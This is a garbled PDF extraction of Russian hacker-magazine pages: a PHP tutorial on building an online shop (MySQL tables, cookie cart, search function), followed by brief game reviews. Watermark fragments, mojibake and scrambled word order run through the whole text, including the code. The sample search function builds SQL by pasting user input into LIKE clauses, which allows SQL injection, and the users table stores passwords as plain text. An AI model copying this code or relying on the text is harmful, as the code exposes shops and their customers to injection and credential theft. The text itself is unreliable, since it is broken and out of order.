
 

 

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

to

BUY

NOW!

 

 

Кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-торговля

 

 

 

 

ИНТЕРНЕТ-ТОРГОВЛЯ ДЛЯ ЧАЙНИКОВ НА PHP

w Click

 

 

 

 

 

o

m

 

Интернет

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Никита "red_ion" Кислицин (nikitoz@real.xakep.ru)

 

 

 

 

 

для чайников на PHP

 

 

 

 

 

 

 

http://nikitos.inc.ru

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

. В глазах

покупателя они выигрывают у обычных

магазинов

 

 

 

 

 

 

 

 

 

-магазины набирают обороты, это факт

 

покупки, не выходя из дома,

ассортимент и

Интернет

 

 

таких как возможность совершать

 

 

 

по множеству

параметров,

 

 

 

â

сетевом магазине и, скажем,

. Разница между ценой одного и того же лота

 

 

 

 

 

 

 

 

 

стоимость предлагаемых

товаров

 

двадцати и более процентов! И даже

эта сверхнизкая цена позволяет

íà

Савеловском

рынке может достигать

 

 

. À

все потому, что

 

 

 

 

 

 

 

 

 

 

 

товара бесплатную доставку на дом

и хорошую гарантию

 

 

 

продавцам включать в стоимость

 

 

 

башлять крыше и т.д.

 

 

продавцам, аренду помещений,

 

нет нужды отдавать деньги на зарплату

 

 

 

 

 

 

 

 

.inc.ru

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.xakep.ru) http://nikitos

 

 

 

 

 

 

 

 

 

 

 

_ion" Кислицин (nikitoz@real

 

 

 

 

 

 

 

 

 

 

 

 

 

Никита "red

 

 

 

 

 

 

 

 

 

 

 

Мизерные

издержки виртуальной

торговли гонят

продавцов

ê

 

сумму

предлагают

 

стандартные

вебстудиям,

где им за приличную

 

 

 

 

 

 

à

теперь

решения,

однажды разработанные,

 

шаблонные

 

 

 

 

таких

 

 

стоит заняться написанием

 

 

. Так может тебе тоже

èíåò

реализуемые

òû

è ñàì

захочешь торговать

через

систем? Или, может,

 

 

через

случае,

òâîé ïóòü

лежит

 

разливным

 

пивом? :)

В любом

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

. Этим мы и займемся

 

 

 

 

 

 

 

-торговли

 

 

 

 

 

 

написание системы интернет

 

 

 

 

 

 

 

 

Структура системы

 

 

 

 

 

 

 

 

 

 

íà

Подобные системы обычно состоят из

 

нескольких частей. Можно их разделить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Посетителю

две категории

 

-

 

пользовательский

и административный

интерфейс

 

 

 

 

åìó

 

 

 

 

 

 

и красивый интерфейс, такой, чтобы

сайта очень важно предоставить

удобный

 

 

.

Поэтому стоит ответственно

подойти к этому

захотелось

еще не раз вернуться

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вопросу и хорошо продумать usability системы

 

краткую

информацию о

самых

Главная страница магазина должна

 

 

содержать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

продаваемых

 

товарах, чтобы

íå

затруднять

 

клиента поиском какого-нибудь

 

 

ссылки на

 

разделы магазина и

 

Также на ней следует поместить

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бестселлера

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åìó

форму поиска товара

 

нашел интересующий

его лот, надо предоставить

После того как пользователь

 

 

 

 

 

 

 

 

 

 

"корзину покупок" - неотъемлемый

возможность

добавить товар в так называемую

 

 

 

 

 

 

 

 

корзина

 

представляет

атрибут любого е-шопа. С

программисткой точки зрения

 

 

 

 

 

 

 

 

 

данных, обычно отображающуюся

â cook-

собой некоторую динамическую структуру

 

 

 

извлечения, модификации

и удаления

ies, для которой определены

операции

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

элемента по известному номеру.

решил перейти

ê

 

оформлению

 

покупок,

 

åìó

После того,

 

êàê

пользователь

 

 

 

 

 

 

äëÿ

 

получения

скидок

â

 

будущем,

причем

предлагается

зарегистрироваться

 

 

 

 

 

 

 

оформления покупки.

Посетителю даже не

регистрация будет частью процесса

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

придется

открывать новое окно.

 

должна предоставлять

 

владельцам магазина

 

 

 

 

 

часть системы

 

Административная

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

информацию о лотах, реализовывать

возможность

загружать и модифицировать

 

 

 

 

 

 

 

 

аккаунтами и структурой

 

ïî

покупкам, управлять пользовательскими

доступ к логам

 

 

 

интерфейс системы.

 

 

 

 

 

 

 

 

 

 

 

 

пользовательский

всего магазина. В этом номере мы разберем

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А в следующий раз, соответственно,

 

напишем административную

составляющую

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Спецификация

таблиц

 

 

 

 

 

 

 

 

 

 

 

 

 

 

колонки"

 

-

слева узкая

Главная

страница магазина

обычно

делается

 

òðè

 

 

 

по центру широкая таблица с

 

 

 

таблица с навигацией по разделам,

вертикальная

 

 

 

 

 

 

 

 

 

 

покупок и т.д.

 

 

 

 

 

 

 

 

 

 

 

 

с новостями, корзиной

информацией о товарах, а справа - полоса

 

 

 

 

 

 

 

 

 

 

 

 

 

описать соответствующие

Для генерации содержимого

всех этих таблиц следует

 

 

 

 

 

 

 

 

 

 

 

 

 

привести все используемые

функции, но прежде мне хотелось бы для наглядности

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

таблицы системы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Shkoding

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

содержимое сайта:

Итак, первым

делом следует описать

функции, формирующие

 

 

корзины покупок

 

 

 

 

 

показ

бестселлеров,

содержимого

вывод информации о разделах,

ïðè

 

 

 

 

 

 

 

 

 

 

 

.

и т.д. Аналогичные

задачи мы уже рассматривали

 

создании других систем

 

è

 

 

отправке

SQL-запроса,

 

 

ê

конструированию

 

 

 

Напомню,

 

 

âñå

сводится

 

 

 

 

 

 

 

è

организации цикла,

производящего выборку из соответствующей

таблицы,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Создание таблиц БД

 

 

 

 

 

 

 

 

 

 

 

 

 

проходящего по всем возвращенным

записям. Процедуры эти ужасно банальны,

äà

.

 

 

òàê ÷òî ýòî

 

 

 

 

к тому же мы не раз их реализовывали,

остается на твоей совести

 

 

по базе данных - тема неисчерпаемая

Поговорим лучше о создании

функции поиска

 

 

 

 

 

 

эффективную

систему поиска очень

 

 

. Сделать действительно

 

 

 

и очень интересная

 

возможные опечатки

è

ошибки

пользователя,

сложно: надо

учитывать

 

 

продукта и т.д.

 

 

 

 

точного названия

искомого

предусмотреть

то, что он может не знать

 

 

 

 

 

 

 

которая, однако, будет

Ниже я напишу сравнительно

простую систему поиска,

поддерживать

стандартный

синтаксис поисковых машин.

 

 

 

 

 

 

 

 

 

 

 

 

присутствовать либо в названии, либо

Перед словом, которое должно обязательно

 

 

 

 

 

 

 

72

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Таблица с разделами

товаров:

mysql> create table categories(

 

->

 

 

PRIMARY KEY,

 

 

Cid INT NOT NULL AUTO_INCREMENT

-> Name VARCHAR(30) NOT NULL);

 

Ñ

информацией о товарах:

 

mysql> create table goods(

 

-> Gid INT NOT

 

 

 

 

 

NULL AUTO_INCREMENT PRIMARY KEY,

-> Cid INT NOT NULL,

 

 

-> Name VARCHAR(50) NOT NULL,

 

->

VARCHAR(50) NOT NULL,

 

 

Description

-> Photo VARCHAR(50) NOT NULL,

 

-> Buying INT NOT NULL,

 

 

-> Price INT NOT NULL);

 

 

Ñ

информацией о пользователях:

 

 

mysql> create table users(

 

 

-> Uid INT NOT

NULL AUTO_INCREMENT PRIMARY KEY,

->

 

FirstName VARCHAR(50)

NOT NULL,

->

LastName VARCHAR(50)

NOT NULL,

 

->

 

Telephone VARCHAR(20) NOT NULL,

 

 

-> Email VARCHAR(40) NOT NULL,

 

-> Address VARCHAR(40) NOT NULL,

 

-> Login VARCHAR(40) NOT

NULL,

 

->

Password VARCHAR(40) NOT NULL);

 

 

 

Ñ

 

информацией о покупках:

mysql> create table sales(

 

 

-> Sid INT NOT

 

 

 

 

 

NULL AUTO_INCREMENT PRIMARY KEY,

-> Gid INT NOT NULL,

 

 

-> Uid INT NOT NULL,

 

 

-> Date date NOT NULL,

 

 

-> Time int NOT NULL);

 

 

в описании товара,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íè â êîåì

 

 

пользователю следует поставить "+". Если же слово,

наоборот,

случае не должно встречаться при

 

 

 

 

 

префиксом "-".

 

 

 

 

 

 

 

поиске товара, его следует набирать с

Кроме того,

можно при

помощи кавычек

объединять в цитату несколько слов.

Я написал

функцию, которая по данной

выборку

 

строке поиска

генерирует SQL-запрос на

подходящих записей.

 

 

 

 

 

 

 

Работает

îíà

следующим

образом.

 

Первым делом

из строки

вырезаются все

слеши. Далее

 

полученная строка

разбивается в массив

 

 

После этого

 

составляются

 

$search по разделителю " ".

(искомые

 

 

и помещаются

в массив

 

$Lexeme

лексемы

поиска

элементы,

фактически

-

âñå

слова

è

 

цитаты),

 

 

 

 

 

 

 

которые

будут

использоваться при построении SQL-запроса.

 

 

 

 

 

 

Прежде чем

помещать

слово в этот

массив, следует обязательно проверить,

íå

начинается ли оно

ñ

символа

 

 

". Ведь фраза,

 

заключенная в

кавычки,

является одной лексемой.

 

 

 

 

 

 

 

 

Написание скрипта в PHP Expert Editor

 

 

 

 

 

 

 

Получив массив с

лексемами

($Lexeme), переходим к

основному

этапу -

 

 

 

 

 

составлению SQL-запроса,

 

 

 

 

 

 

 

 

 

Просматриваем весь

 

реализованному по следующему принципу.

 

 

массив $Lexeme и

добавляем в

запрос новые требования в

зависимости от префикса каждой

 

 

лексемы:

если лексема начинается с символа "-",

такого

текста не

 

 

 

 

 

 

 

должно быть ни в одном из полей,

по которым осуществляется

поиск; если

же первый символ лексемы

 

 

 

 

 

"+", òî õîòÿ

 

бы одно из полей должно

содержать этот текст.

 

 

 

 

 

 

 

 

 

Для наглядности приведу пример. На

строку "книга по Unix" функция вернет

" SELECT

* FROM

 

 

 

 

 

 

 

 

GOODS WHERE (name LIKE '%книга по Unix%' OR

description LIKE '%книга по

Unix%')". Åñëè æå

пользователь набрал +книга -windows,

 

 

 

 

функция вернет

"SELECT *

FROM GOODS WHERE

(name LIKE

'%книга%' OR

 

 

 

 

 

(name NOT LIKE

 

 

 

 

 

 

 

 

description LIKE '%книга%') AND

Кстати,

 

 

'%windows%' AND description NOT LIKE '%windows%')".

 

 

примерно так же работает

поисковый

 

робот Яндекса,

 

çà òåì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

исключением, что

поиск

òàì

более

интеллектуальный:

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

довольно

сложная

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поддерживается

 

 

 

 

 

семантика запросов,

учитываются

ошибки и

w

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пользователей и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

ò.ä. Íî ó íàñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

опечатки

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åùå âñå

впереди :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Перейдем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

df

 

 

n

.c

 

теперь

ê

вопросу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

организации

 

корзины

покупок. Это динамическая

 

 

e

 

структура, все

 

 

 

 

 

 

 

 

 

 

 

 

 

 

данные которой целиком

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и полностью размещаются у

пользователя в

 

 

 

 

 

cookies. Поясню. Когда покупатель

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вешается плюшка примерно такого

нажимает на ссылку "добавить в корзину", ему

 

 

 

 

 

âèäà:

"1234567 1", ãäå 1234567 -

 

идентификатор

 

 

 

 

 

товара,

à 1

 

-

количество

заказанного

 

 

 

 

 

 

 

товара.

Понятно,

÷òî

 

написать

функции,

 

 

 

 

 

которые

абстрагировали бы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

программиста от работы с cookies, совсем

несложно.

 

 

 

 

 

Добавление

товара в корзину

представляется либо установкой, либо

 

 

 

 

 

 

 

óæå

существующей

êóêè,

 

 

модификацией

 

 

 

 

 

 

 

остальные

 

æå

 

функции

сводятся, фактически,

 

ê

 

 

 

 

 

элементарной

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

работе со строками и отправке

 

 

 

 

 

 

 

 

 

 

 

 

 

"печенья".

Приводить их в журнале я

 

 

 

 

 

íå áóäó. Òû è ñàì áåç

труда

найдешь их

ëèáî

 

 

 

 

 

 

 

 

После того,

 

êàê

 

 

на диске, либо у меня на сайте.

 

 

 

 

 

 

 

 

 

 

пользователь решил

оформить покупку,

 

данные

 

о выбранных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

товарах вытаскиваются

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

должны идти

денежные

из cookies и сохраняются на сервере в базе

данных. Далее

 

 

 

 

 

транзакции, а потом и отсылка товара

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

покупателю.

 

 

 

 

 

 

 

 

 

 

Â

 

 

 

рассказал про регистрацию

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

статье я не

пользователя на сайте. Это

ты напишешь

 

 

 

 

 

сам, просто

 

делай все

ïî

 

аналогии с

 

 

 

 

 

магазина

òû

 

 

предыдущими

статьями. Готовый

 

êîä

 

 

 

 

 

 

найдешь

 

íà

диске.

À

â

 

следующий

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ðàç

 

ìû

 

поговорим

ïðî

 

 

 

 

 

административный

интерфейс

системы

и, наверное, затронем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òåìó

 

security. Âñå.

 

 

 

 

 

Теперь ты вооружен знаниями.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Осталось только покорить рунет своим е-шопом

è

 

 

 

 

 

заработать много денег. Так что удачи тебе.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Кусок кода

èíåò-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

магазина

function SearchInDB($find)

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$sql="SELECT * FROM GOODS WHERE (";

 

# Любой запрос

начинается

с этой строки, в процессе парсинга

# аргумента

 

 

 

 

 

 

 

 

 

 

приклеивать к этой строчке

 

 

 

 

 

функции будем

# дополнительные

условия

 

 

$find=stripslashes($find); #обрубаем все слеши

$search=split(" ",$find); #режем в массив по пробелу

$fields=array("name",

"description");

 

# создаем

массив с

названиями полей таблицы, в которых производится

поиск

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$quoted=0;

 

 

 

 

 

 

 

 

 

 

 

 

$LexNum=0;

 

 

 

 

 

 

 

 

 

 

 

for ($i=0;

$i<=count($search);

$i++) #цикл по всем словам

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(ereg("^\"", $search[$i]) ||

ereg("^[+-

 

#åñëè

какое-то слово

 

 

 

]\"",$search[$i])) { $quoted=1; }

начинается с символа кавычки

if($quoted==1) {$Lexeme[$LexNum].=ereg_

# åñëè ìû

находимся между

 

replace("\"","",$search[$i])." ";}

кавычек, то приклеиваем слово

 

 

 

 

 

# за слово в одну лексему

 

 

 

else {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$Lexeme[$LexNum++]=$search[$i];

 

#если вне цитаты,

òî

помещаем каждое слово отдельной лексемой

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(ereg("\"$", $search[$i]))

{$quoted=0;

 

$Lexeme[$LexNum]=chop($Lexeme[$LexNum]); $LexNum++;}

#Åñëè

обнаружили

закрывающую кавычку, обрубаем последний символ в

лексеме (пробел)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for ($i=0; $i<=count($Lexeme)-1; $i++)

#Цикл по каждой лексеме

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for ($j=0; $j<=count($fields)-1; $j++)

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#Цикл по каждому полю

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ereg_replace("

$","",$Lexeme[$i]);

 

if(ereg("^\-

 

 

 

 

 

 

 

 

#если лексема начинается с квантора "-"

{

 

 

 

",$Lexeme[$i]))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$sql.= $fields[$j]."

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NOT LIKE '%". substr($Lexeme[$i],1)."%'"; #

Приклеиваем в запрос условие "NOT LIKE %лексема_без_

Поясню, % -

стандартный символ

 

квантора%".

подстановки в языке SQL.

if

 

 

($j<count($fields)-1)

{ $sql.=" AND "; }

#

Составляем

 

 

 

условия для каждого из полей, конъюнктивно

 

 

 

 

 

такие

объединяя высказывания

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

else #Если слово не имеет кванторов, либо он "+"

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$Lexeme[$i]=ereg_

 

 

 

 

 

 

 

 

 

 

$sql.

 

 

 

 

replace("^\+","",$Lexeme[$i]); #Вырезаем квантор

 

=$fields[$j]." LIKE

'%$Lexeme[$i]%'"; #Добавляем в запрос новое

условие "LIKE %лексема"

 

 

 

 

 

 

 

 

 

 

if ($j<count($fields)-1) {

$sql.="

OR "; } # Составляем такие условия для

каждого

 

 

 

 

 

 

 

 

 

 

}

из полей, дизъюнктивно объединяя высказывания

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if($i<count($Lexeme)-1)

#åñëè

ìû

еще внутри массива с лексемами

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$sql.=") AND (";

 

 

 

 

 

 

 

 

 

 

 

} else {$sql.=")";}

 

 

 

 

 

 

 

 

 

прошли, на последнем, добавляя

 

 

 

 

 

#åñëè óæå âåñü

условие, закрываем скобку.

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return($sql); #Возвращаем строку с запросом

73

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

Юниты

 

 

 

to

 

 

 

w

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

ÇÀË ÑÓÄÀ

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

X-Men 2: Wolverine's

Revenge

 

 

 

 

 

TPS

 

 

 

 

 

 

 

BloodRayne

 

 

 

 

 

 

GenePool/Activision

 

 

 

3D

 

P3-500(P4-1300), 128(256),

 

 

 

Обломись

 

 

 

 

 

 

-

Åùå îäèí

пример

òîãî, êàê èìå

 

 

 

 

-

нитый бренд совершенно

ëèøà

ет разработчиков

способности

-

 

 

 

 

мыслить

и работать,

как полага

 

 

 

 

 

 

 

 

 

 

ется. В итоге получилась

весьма

 

 

 

 

 

 

. Смысл

посредственная

игрушка

 

 

безобразия:

игры неказист

äî

 

 

è ìî÷è âñåõ,

бегай по уровням

 

 

 

 

 

. Добавь к этому

кто попадется

 

 

управление,

тупой AI, неудобное

 

 

отвратительно

реализованную

"летающую"

камеру, и желание

 

 

 

 

 

.

 

 

 

 

 

 

играть пропадет

напрочь

 

 

 

ПРИГОВОР

СРЕДНЕ

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

World War 2: Frontline Command

RTS

G.I. Combat, Close Combat

The Bitmap Brothers/KOCH Media

P3-500(P3-800), 128(256), 3D

LAN, инет Очень неплохая RTS с сильной

тактической составляющей. Разнообразие рельефа, ошеломляющее количество типов

оружия, отлично движок и грамотное звуковое

сопровождение заставляют почувствовать себя участником

Второй Мировой войны. Несколько дней прохождения одиночной игры и "рубилово" по

LAN'у доставили мне массу удовольствия.

ПРИГОВОР

ХОРОШО

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

ПРИГОВОР

The Sims: SuperStar

компьютере. На твоих глазах

Ñèìû :)

должна появиться новая звезда.

The Sims

Естественно, не без твоей

Maxis/Electronic Arts

помощи. Именно ты будешь

P2-300(P3-600), 64(128)

помогать своему питомцу

Обломись

заключать контракты с агентами,

Седьмой по счету аддон к уже

развивать его творческие

всем известным Симсам. На этот

способности, руководить

ðàç

выступлениями. Привлекательно,

разработчики представили

нам некую "Фабрику звезд" на

но уж очень быстро надоедает.

СРЕДНЕ

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

International Superstar

Soccer 3

 

Футбольный сим

 

FIFA Soccer 2003

 

Konami/Konami

 

P2-350(P3-600), 64(128), 3D

В ассортименте

 

Спортивные симуляторы,

портированные с PS - явление,

прямо скажем, редкое. Поэтому

ISS3 - приятный сюрприз для

ПРИГОВОР

ХОРОШО

 

всех ценителей жанра. Да,

графика реализована на уровне

 

.

плейстейшен, но это и неважно

Ведь все остальное в игре

реализовано на высшем уровне.

Это и невероятно удобное

управление, и точное

воспроизведение

национальных

сборных, и обалденный

.

 

геймплей

 

Урожденная

Жанр Похожесть Мать/отец Требует Групповуха Описуха

Navy SEALs: Weapons of Mass

Destruction

 

FPS

 

Navy SEALs

 

Jarhead Games/ValuSoft

3D

P2-450(P3-800), 128(256),

Обломись

áåç òî-

Отвратительный аддон к и

го неказистому FPS. Разработчики

предлагают тебе стать участником

ПРИГОВОР

ËÀÆÀ

 

контртеррористических

операций в

Северной Корее, Пакистане и Ира-

 

 

 

-

не. Принципиально

âñå òðè ëîêà

ции друг от друга не отличаются:

просто в одном месте побольше

песочка, в другом - зелени. А

 

миссии похожи друг на друга как

две капли воды. Очисти сектор,

обеспечь прикрытие, разоружи

 

. Ужасно нудно!

 

террористов

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

1

 

2

 

3

 

4

 

74

Ньюсы

Феррум

Inside

PC_Zone

Implant

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

äåëà:

 

сосредоточено

 

 

 

 

-

íà

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Планируя

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êóäà

 

 

 

åñòü

 

øè

количе

 

 

ïðî

забыва

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

юнитов и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

